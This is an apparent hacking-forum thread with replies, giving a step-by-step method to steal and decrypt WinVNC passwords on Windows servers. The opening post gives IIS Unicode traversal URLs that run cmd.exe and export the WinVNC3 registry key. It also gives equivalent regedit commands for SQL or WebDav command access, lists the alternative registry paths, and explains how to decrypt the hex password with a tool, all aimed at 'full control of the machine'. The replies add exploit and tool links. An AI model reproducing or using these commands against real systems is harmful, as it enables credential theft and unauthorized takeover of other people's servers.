How to Decrypt VNC password through vulnerabilities, and gain full control of the machine ???

About 70 % of time the session was not locked and it's very easy to enter and ~ 50 % of VNC password are the same to Administrator password ! ( or router, etc ... )

With this solution it's possible to take the hand several times where you did not have other solutions !!!

Don' t forget, Training like you fight , let's go !

[1] - Unicode

Exctract the VNC key

CODE

.../winnt/system32/cmd.exe?/c+regedit+/e+c:/vnc.reg+HKEY_LOCAL_MACHINE\SOFTWARE\ORL\WinVNC3\Default

View the Key like this

CODE

../winnt/system32/cmd.exe?/c+type+c:\vnc.reg

Now we can show the password in hexa

[HKEY_LOCAL_MACHINE\SOFTWARE\ORL\WinVNC3\Default]
blablabla.....blablabla.....
"Password"=hex:27,8a,e1,7c,28,3f,8e,b7
blablabla.....blablabla.....

for decrypt the pass wa have many solutions , but the more easy it's to download this tool :VNcon


Go to menu password --> Decrypt password --> Copy the password in hexa, and delete all the " , " characters like this 278ae17c283f8eb7 = toto


[2] - SQL, WebDav, etc ...


It's the same request ! ( but it's for finish the exemple ... )

CODE

regedit /e c:/vnc.reg HKEY_LOCAL_MACHINE\SOFTWARE\ORL\WinVNC3\Default

And

CODE

Type c:/vnc.reg

# Warning ! The path for extract the key can change according to the version ( + OR - New), I write all the possibilies you can found !

CODE

A - HKEY_LOCAL_MACHINE\SOFTWARE\ORL\WinVNC3\Default B - HKEY_LOCAL_MACHINE\SOFTWARE\ORL\WinVNC3 C - HKEY_USERS\.DEFAULT\SOFTWARE\ORL\WinVNC3

I hope this way my explaining it is clear !

Link about this : VNC use weak password protection mechanism

How Does This Method Work ??

I Tryed The Commands But No Success

Please Can You Elaborate

Thank You

Best Regards

Adam

Vast Gsm

Its unicode, so the server must be vulnerable and must be ran in the brwoser.. IE

....as long as u have priviledge to viewing registry u can get vnc pass ez.

this seems like a local exploits. what about vpn ? anyone knows anything about it

thanks for sharing man

this can be come handy sometimes

yeah this could me handy ... but you have to find IIS Unicode vulnerable MS Servers ...

Just get commandline access and run:

"regedit /e c:/vnc.reg HKEY_LOCAL_MACHINE\SOFTWARE\ORL\WinVNC3"

then view the contents of vnc.reg

actually, if you wanted to change it, you could change it to an encoded one that you already had on your machine.

Anyone got a succesfull injection ?


still problems...

maybe it help´s you
http://www.securiteam.com/exploits/6S0040A6AW.html

thanks for sharing man

VIXVVXIV

VNCPWDUMP..
http://www.securiteam.com/tools/5KP0F2A9QG.html

very cool

Thx for the info fella, I'll check it out.

Yes, This is a Local Exploit. But useful if you forget your password

very interesting the combo iis+vnc, thankz

another very usefull tools for decrypt vnc password is vncon :

http://vncon.chronetal.co.uk/

You put the crypted key in the software and he would decrypt password automaticly for you,

See ya,